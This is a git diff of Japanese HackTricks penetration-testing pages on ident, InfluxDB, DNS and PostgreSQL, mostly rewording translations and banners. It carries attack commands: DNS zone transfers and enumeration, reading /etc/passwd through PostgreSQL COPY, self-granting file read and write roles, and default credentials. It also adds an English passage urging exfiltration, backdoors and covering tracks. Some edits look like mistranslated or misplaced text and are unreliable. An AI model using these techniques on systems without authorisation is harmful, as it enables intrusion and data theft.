22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0)
@@ -85,9 +85,9 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
identd.conf
-
+
-[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -113,14 +113,14 @@ Note: apt install ident-user-enum ident-user-enum {IP} 22 23 139 445 (try all
```
-htARTE(HackTricks AWS Red Team Expert)を使用して、ゼロからヒーローまでAWSハッキングを学びましょう
+AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert)!
-HackTricksをサポートする他の方法:
+HackTricksをサポートする他の方法:
-- **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
-- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
-- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**してください
-- ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください
+* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
+* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
+* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
diff --git a/network-services-pentesting/8086-pentesting-influxdb.md b/network-services-pentesting/8086-pentesting-influxdb.md
index e81b94927..c7341f01a 100644
--- a/network-services-pentesting/8086-pentesting-influxdb.md
+++ b/network-services-pentesting/8086-pentesting-influxdb.md
@@ -1,6 +1,6 @@
# 8086 - Pentesting InfluxDB
-
+
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
@@ -10,21 +10,21 @@
-**htARTE (HackTricks AWS Red Team Expert)**を使用して、ゼロからヒーローまでAWSハッキングを学びましょう!
+**htARTE (HackTricks AWS Red Team Expert)**を使用して、ゼロからヒーローまでのAWSハッキングを学びましょう!
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
-* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**してください。
-* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
+* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**してください。
+* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
## 基本情報
-**InfluxDB**は、InfluxDataによって開発されたオープンソースの**時系列データベース(TSDB)**です。 TSDBは、タイムスタンプ-値のペアで構成される時系列データを格納および提供するために最適化されています。 一般的な用途のデータベースと比較して、TSDBは時系列データセットの**ストレージスペース**と**パフォーマンス**において大幅な改善を提供します。 専用の圧縮アルゴリズムを使用し、古いデータを自動的に削除するように構成することもできます。 専用のデータベースインデックスもクエリのパフォーマンスを向上させます。
+**InfluxDB**は、InfluxDataによって開発されたオープンソースの**時系列データベース(TSDB)**です。 TSDBは、タイムスタンプ-値のペアで構成される時系列データを格納および提供するために最適化されています。 汎用データベースと比較して、TSDBは時系列データセットの**ストレージスペース**と**パフォーマンス**において大幅な改善を提供します。 専用の圧縮アルゴリズムを使用し、古いデータを自動的に削除するように構成することもできます。 専用のデータベースインデックスもクエリのパフォーマンスを向上させます。
**デフォルトポート**: 8086
```
@@ -33,7 +33,7 @@ PORT STATE SERVICE VERSION
```
## 列挙
-ペンテスターの視点からすると、これは他の機密情報を保存している可能性があるデータベースであり、すべての情報をダンプする方法を知っておくことが興味深いです。
+ペンテスターの視点からすると、これは他のデータベースであり、機密情報を保存している可能性があるため、すべての情報をダンプする方法を知ることが興味深いです。
### 認証
@@ -64,7 +64,7 @@ _internal
```
#### テーブル/計測値の表示
-[**InfluxDBのドキュメント**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/)によると、InfluxDBの**measurements**はSQLのテーブルと類似しています。これらの**measurements**の名前付けは、それぞれの内容を示しており、特定のエンティティに関連するデータを保持しています。
+[**InfluxDBのドキュメント**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/)によると、InfluxDBの**measurements**はSQLのテーブルと類似しています。これらの**measurements**の名前付けはそれぞれの内容を示しており、特定のエンティティに関連するデータを保持しています。
```bash
> show measurements
name: measurements
@@ -114,7 +114,7 @@ time cpu host usage_guest usage_guest_nice usage_idle
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
```
{% hint style="warning" %}
-認証バイパスのテストで、テーブル名をダブルクォートで囲む必要があることがわかりました。例:`select * from "cpu"`
+認証バイパスのテストで、テーブル名をダブルクォートで囲む必要があることがわかりました。例: `select * from "cpu"`
{% endhint %}
### 自動化された認証
@@ -125,17 +125,17 @@ msf6 > use auxiliary/scanner/http/influxdb_enum
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
-HackTricks をサポートする他の方法:
+HackTricksをサポートする他の方法:
-* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
-* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
-* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに
+- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
+- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
+- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する
+- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**あなたのハッキングテクニックを共有**する
-
+
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
diff --git a/network-services-pentesting/pentesting-dns.md b/network-services-pentesting/pentesting-dns.md
index 7f461f45f..71c7cb59f 100644
--- a/network-services-pentesting/pentesting-dns.md
+++ b/network-services-pentesting/pentesting-dns.md
@@ -7,22 +7,22 @@
HackTricksをサポートする他の方法:
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
+- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
- **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
-
+
-**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行し、レコンからレポート作成まで対応します。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出、およびエクスプロイトモジュールを開発して、彼らに深く掘り下げる時間を与え、シェルをポップして楽しむことができます。
+**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行し、レコンからレポート作成まで対応します。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出、およびエクスプロイトモジュールを開発して、彼らに深く掘り下げる時間を与え、シェルをポップして楽しんでもらいます。
{% embed url="https://pentest-tools.com/" %}
## **基本情報**
-**ドメインネームシステム(DNS)**はインターネットのディレクトリとして機能し、ユーザーがgoogle.comやfacebook.comなどの**覚えやすいドメイン名**を介してウェブサイトにアクセスできるようにします。これにより、DNSはドメイン名をIPアドレスに変換することで、Webブラウザがインターネットリソースを迅速に読み込めるようにし、オンライン世界をナビゲートする方法を簡素化します。
+**ドメインネームシステム(DNS)**はインターネットのディレクトリとして機能し、ユーザーがgoogle.comやfacebook.comなどの**覚えやすいドメイン名**を介してウェブサイトにアクセスできるようにします。ドメイン名をIPアドレスに変換することで、DNSはウェブブラウザがインターネットリソースを迅速に読み込めるようにし、オンライン世界をナビゲートする方法を簡素化します。
**デフォルトポート:** 53
```
@@ -33,10 +33,10 @@ PORT STATE SERVICE REASON
```
### 異なるDNSサーバー
-* **DNSルートサーバー**: DNS階層のトップにあり、トップレベルドメインを管理し、下位サーバーからの応答がない場合にのみ介入します。インターネット割り当て名前と番号の組織(**ICANN**)が13のグローバルカウントで運営を監視しています。
-* **権威あるネームサーバー**: これらのサーバーは、指定されたゾーン内のクエリに対して最終的な回答権限を持ち、決定的な回答を提供します。回答を提供できない場合、クエリはルートサーバーにエスカレートされます。
-* **非権威あるネームサーバー**: DNSゾーンの所有権を持たないため、これらのサーバーは他のサーバーへのクエリを通じてドメイン情報を収集します。
-* **キャッシュDNSサーバー**: このタイプのサーバーは、将来のリクエストの応答時間を高速化するために以前のクエリ回答を一定時間記憶し、キャッシュの期間は権威あるサーバーによって決定されます。
+* **DNSルートサーバー**: DNS階層のトップにあり、トップレベルドメインを管理し、下位サーバーからの応答がない場合にのみ介入します。インターネット名前と番号の割り当てを管理するICANNがその運用を監視し、グローバルで13台のカウントがあります。
+* **権威あるネームサーバー**: これらのサーバーは、指定されたゾーン内のクエリについて最終的な判断を下し、明確な回答を提供します。回答を提供できない場合、クエリはルートサーバーにエスカレートされます。
+* **非権威あるネームサーバー**: DNSゾーンの所有権を持たないため、これらのサーバーは他のサーバーにクエリを送信してドメイン情報を収集します。
+* **キャッシュDNSサーバー**: このタイプのサーバーは、将来のリクエストのために以前のクエリ回答を一定時間記憶し、キャッシュの期間は権威あるサーバーによって決定されます。
* **フォワーディングサーバー**: 単純な役割を果たすフォワーディングサーバーは、単にクエリを別のサーバーに中継します。
* **リゾルバ**: コンピュータやルーターに統合されているリゾルバは、ローカルで名前解決を実行し、権威あるとは見なされません。
@@ -44,20 +44,20 @@ PORT STATE SERVICE REASON
### **バナーグラビング**
-DNSにはバナーがありませんが、`version.bind. CHAOS TXT`のマジッククエリを取得できます。これはほとんどのBINDネームサーバーで機能します。\
-`dig`を使用してこのクエリを実行できます:
+DNSにはバナーはありませんが、ほとんどのBINDネームサーバーで機能する`version.bind. CHAOS TXT`のマジッククエリを取得できます。\
+`dig`を使用してこのクエリを実行できます。
```bash
dig version.bind CHAOS TXT @DNS
```
さらに、ツール[`fpdns`](https://github.com/kirei/fpdns)を使用してサーバーのフィンガープリントを取得することもできます。
-また、**nmap**スクリプトを使用してバナーを取得することも可能です:
+また、**nmap**スクリプトでもバナーを取得することが可能です:
```
--script dns-nsid
```
### **任意のレコード**
-**ANY** レコードは、DNSサーバーにすべての利用可能な**エントリ**を**開示することを許可する**ように要求します。
+レコード**ANY**は、DNSサーバーにすべての利用可能な**エントリ**を**開示することを許可する**ように要求します。
```bash
dig any victim.com @
```
@@ -104,7 +104,7 @@ auxiliary/gather/enum_dns #Perform enumeration actions
#Perform enumeration actions
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport"
```
-### DNS - 逆BF
+### DNS - リバースBF
```bash
dnsrecon -r 127.0.0.0/24 -n #DNS reverse of all of the addresses
dnsrecon -r 127.0.1.0/24 -n #DNS reverse of all of the addresses
@@ -112,12 +112,12 @@ dnsrecon -r /24 -n #DNS reverse of all of the addresses
dnsrecon -d active.htb -a -n #Zone transfer
```
{% hint style="info" %}
-内部IPアドレスに解決されるサブドメインを見つけることができる場合、そのIP範囲を持つNSに対して逆DNS BFを実行してみるべきです。
+内部IPアドレスに解決されるサブドメインを見つけることができる場合、そのIP範囲を持つNSsに逆DNS BFを実行してみてください。
{% endhint %}
これを行うための別のツール: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
-[https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns)に逆IP範囲をクエリすることができます(このツールはBGPでも役立ちます)。
+逆IP範囲をクエリすることができます: [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns)(このツールはBGPでも役立ちます)。
### DNS - サブドメインBF
```bash
@@ -137,6 +137,8 @@ nslookup -type=srv _kerberos._tcp.domain.com
nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='domain.com'"
```
+### DNSSec
+
### DNSSec
```bash
#Query paypal subdomains to ns3.isc-sns.info
@@ -144,20 +146,20 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
```
### IPv6
-サブドメインのIPv6を収集するために「AAAA」リクエストを使用したブルートフォース。
+サブドメインのIPv6を収集するために、"AAAA"リクエストを使用したブルートフォース攻撃。
```bash
dnsdict6 -s -t
```
-## IPv6 Addresses
+## IPv6
-IPv6 addresses are 128 bits long, which makes brute-forcing reverse DNS names infeasible due to the vast address space. However, tools like `ipv6toolkit` can help automate the process by generating possible reverse DNS names based on IPv6 addresses.
+IPv6アドレスを使用して逆DNSをブルートフォース攻撃
```bash
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
```
-### DNS Recursion DDoS
+### DNS再帰DDoS
-DNS再帰が有効になっている場合、攻撃者はUDPパケットで**送信元を偽装**し、DNSに**レスポンスを被害者サーバーに送信**させることができます。攻撃者は、**ANY**または**DNSSEC**レコードタイプを悪用する可能性があります。これらはより大きなレスポンスを持つことがあります。\
-DNSが再帰をサポートしているかどうかを**確認**する方法は、ドメイン名をクエリし、**応答にフラグ "ra"**(_再帰可能_)が含まれているかどうかを**確認**することです:
+もしDNS再帰が有効になっている場合、攻撃者はUDPパケットで**origin**を**スプーフィング**して、DNSが**レスポンスを被害者サーバーに送信**するようにすることができます。攻撃者は、**ANY**または**DNSSEC**レコードタイプを悪用することができます。なぜなら、これらはより大きなレスポンスを持つことが一般的だからです。\
+DNSが**再帰**をサポートしているかどうかを**確認**する方法は、ドメイン名をクエリし、レスポンスに**フラグ "ra"**(_再帰可能_)が含まれているかどうかを**確認**することです:
```bash
dig google.com A @
```
@@ -169,9 +171,9 @@ dig google.com A @
![](<../.gitbook/assets/image (276).png>)
-
+
-**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能で完全なペンテストをどこからでも実行します。私たちはペンテスターを置き換えるのではなく、カスタムツール、検出、およびエクスプロイトモジュールを開発して、彼らにより深く掘り下げ、シェルをポップし、楽しんでもらいます。
+**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成までをカバーする20以上のツールと機能でどこからでもフルペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
{% embed url="https://pentest-tools.com/" %}
@@ -179,10 +181,10 @@ dig google.com A @
ターゲットドメイン内の無効なアドレスに送信されたメールによってトリガーされた配信不能通知(NDN)の調査を通じて、貴重な内部ネットワークの詳細がしばしば開示されます。
-提供される配信不能レポートには、次の情報が含まれます:
+提供される配信不能レポートには、次の情報が含まれます:
- 生成サーバーは `server.example.com` として識別されました。
-- `user@example.com` に対するエラーコード `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` が返されました。
+- `user@example.com` に対するエラーコード `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` が返された失敗通知が含まれています。
- 元のメッセージヘッダーには内部IPアドレスとホスト名が開示されました。
```markdown
The original message headers were modified for anonymity and now present randomized data:
@@ -284,22 +286,22 @@ Description: DNS enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit'
```
-
+
-**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出およびエクスプロイテーションモジュールを開発しています。
+**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻し、より深く掘り下げ、シェルをポップして楽しむためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
{% embed url="https://pentest-tools.com/" %}
-htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ!
+htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学びましょう!
-HackTricksをサポートする他の方法:
+HackTricksをサポートする他の方法:
-* **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロードしたり**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
-* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
+* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
diff --git a/network-services-pentesting/pentesting-postgresql.md b/network-services-pentesting/pentesting-postgresql.md
index cdefe6978..e5087919a 100644
--- a/network-services-pentesting/pentesting-postgresql.md
+++ b/network-services-pentesting/pentesting-postgresql.md
@@ -1,32 +1,32 @@
# 5432,5433 - PostgreSQLのペンテスト
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって**強化**された**ワークフローを簡単に構築**および**自動化**します。\
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!
+**htARTE (HackTricks AWS Red Team Expert)**を使用して、ゼロからヒーローまでAWSハッキングを学びましょう!
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
-* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
+* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
## **基本情報**
-**PostgreSQL**は、**オープンソース**の**オブジェクトリレーショナルデータベースシステム**として説明されています。このシステムはSQL言語を利用するだけでなく、追加の機能で拡張しています。その機能により、さまざまなデータ型や操作を処理できるため、開発者や組織にとって多目的な選択肢となっています。
+**PostgreSQL**は、**オープンソース**の**オブジェクトリレーショナルデータベースシステム**として説明されています。このシステムはSQL言語を利用するだけでなく、追加の機能で拡張します。その機能により、さまざまなデータ型や操作を処理できるため、開発者や組織にとって多目的な選択肢となっています。
-**デフォルトポート:** 5432で、このポートがすでに使用されている場合、おそらく使用されていない次のポート(5433の可能性が高い)がPostgreSQLによって使用されるようです。
+**デフォルトポート:** 5432で、このポートがすでに使用されている場合、おそらく使用されていない次のポート(5433の可能性が高い)がPostgreSQLによって使用されます。
```
PORT STATE SERVICE
5432/tcp open pgsql
@@ -118,27 +118,23 @@ the server terminated abnormally before or while processing the request
### Enumeration
-To discover PostgreSQL services running on the target system, you can use tools like Nmap to scan for open ports. The default port for PostgreSQL is 5432.
+To discover PostgreSQL services running on the target system, you can use tools like Nmap or Metasploit. Nmap can be used to scan for open ports, while Metasploit can help in identifying the version of PostgreSQL running.
-```bash
-nmap -sV -p 5432
-```
+### Default Credentials
+
+PostgreSQL has default credentials that are commonly used. Some of the default credentials include `postgres:postgres`, `postgres:password`, and `postgres:admin`.
### Brute Forcing
-You can use tools like Metasploit or Hydra to perform brute force attacks against PostgreSQL. Make sure to use a strong password list for better results.
+If default credentials do not work, you can attempt to brute force the PostgreSQL login using tools like Hydra or Metasploit. These tools can automate the process of trying different username and password combinations.
### Exploitation
-One common way to exploit PostgreSQL is through SQL injection attacks. By injecting malicious SQL queries, an attacker can manipulate the database and potentially gain unauthorized access.
+Once you have valid credentials or have successfully brute forced the login, you can exploit vulnerabilities in PostgreSQL to gain unauthorized access to the database. Common exploits target vulnerabilities like SQL injection or insecure configurations.
### Post-Exploitation
-After gaining access to a PostgreSQL database, an attacker can exfiltrate sensitive data, create backdoors for future access, or even delete data to cause disruption.
-
-### Countermeasures
-
-To protect PostgreSQL from attacks, ensure that you are using strong and unique passwords, keeping the software up to date with the latest security patches, and monitoring the database for any suspicious activity.
+After gaining access to the database, you can perform various post-exploitation activities such as exfiltrating data, creating backdoors, or escalating privileges. It is important to maintain stealth and cover your tracks to avoid detection.
```
```
DETAIL: FATAL: password authentication failed for user "name"
@@ -155,16 +151,16 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
| ロールの種類 | |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| rolsuper | ロールにはスーパーユーザー権限があります |
-| rolinherit | ロールは自動的に、そのメンバーであるロールの権限を継承します |
-| rolcreaterole | ロールは他のロールを作成できます |
-| rolcreatedb | ロールはデータベースを作成できます |
-| rolcanlogin | ロールはログインできます。つまり、このロールは初期セッション認証識別子として指定できます |
-| rolreplication | ロールはレプリケーションロールです。レプリケーションロールはレプリケーション接続を開始し、レプリケーションスロットを作成および削除できます。 |
+| rolinherit | ロールは自動的に、そのメンバーであるロールの権限を継承します |
+| rolcreaterole | ロールは他のロールを作成できます |
+| rolcreatedb | ロールはデータベースを作成できます |
+| rolcanlogin | ロールはログインできます。つまり、このロールは初期セッション認証識別子として指定できます |
+| rolreplication | ロールはレプリケーションロールです。レプリケーションロールはレプリケーション接続を開始し、レプリケーションスロットを作成および削除できます。 |
| rolconnlimit | ログインできるロールに対して、この設定はこのロールが作成できる同時接続の最大数を設定します。-1 は制限なしを意味します。 |
-| rolpassword | パスワードではなく(常に `********` として表示されます) |
-| rolvaliduntil | パスワードの有効期限(パスワード認証にのみ使用されます);有効期限がない場合は null |
+| rolpassword | パスワードではなく(常に `********` として表示されます) |
+| rolvaliduntil | パスワードの有効期限(パスワード認証にのみ使用されます);有効期限がない場合は null |
| rolbypassrls | ロールはすべての行レベルセキュリティポリシーをバイパスします。詳細については[セクション 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)を参照してください。 |
-| rolconfig | 実行時の構成変数のロール固有のデフォルト |
+| rolconfig | 実行時構成変数のロール固有のデフォルト |
| oid | ロールの ID |
#### 興味深いグループ
@@ -174,7 +170,7 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
- **`pg_write_server_files`** のメンバーであれば、ファイルを**書き込む**ことができます
{% hint style="info" %}
-Postgresでは、**ユーザー**、**グループ**、**ロール**は**同じ**です。それは単に、**どのように使用するか**と**ログインを許可するか**に依存します。
+Postgresでは、**ユーザー**、**グループ**、**ロール**は**同じ**です。それは単に、**どのように使用するか**と**ログインを許可するか**によります。
{% endhint %}
```sql
# Get users roles
@@ -265,7 +261,7 @@ COPY demo from '/etc/passwd';
SELECT * FROM demo;
```
{% hint style="warning" %}
-スーパーユーザーではない場合でも、**CREATEROLE** 権限を持っていれば、**そのグループのメンバーになることができます:**
+スーパーユーザーではないが、**CREATEROLE** 権限を持っている場合、**そのグループのメンバーに自分を追加できます:**
```sql
GRANT pg_read_server_files TO username;
```
@@ -307,14 +303,14 @@ copy (select convert_from(decode('','base64'),'utf-8')) to '/ju
{% endcode %}
{% hint style="warning" %}
-**`CREATEROLE`** 権限を持っているがスーパーユーザーではない場合、**そのグループのメンバーになることができます:**
+スーパーユーザーではないが**`CREATEROLE`**権限を持っている場合、**そのグループのメンバーに自分を追加できます:**
```sql
GRANT pg_write_server_files TO username;
```
-[**詳細情報**](pentesting-postgresql.md#privilege-escalation-with-createrole)
+[**詳細はこちら**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
-COPYは改行文字を処理できないため、ベース64ペイロードを使用していても、**ワンライナーを送信する必要があります**。\
+COPYは改行文字を処理できないため、ベース64ペイロードを使用していても**ワンライナーを送信する必要があります**。\
このテクニックの非常に重要な制限事項は、**`copy`はバイナリファイルを書き込むために使用できない**ということです。
### **バイナリファイルのアップロード**
@@ -327,36 +323,36 @@ COPYは改行文字を処理できないため、ベース64ペイロードを
##
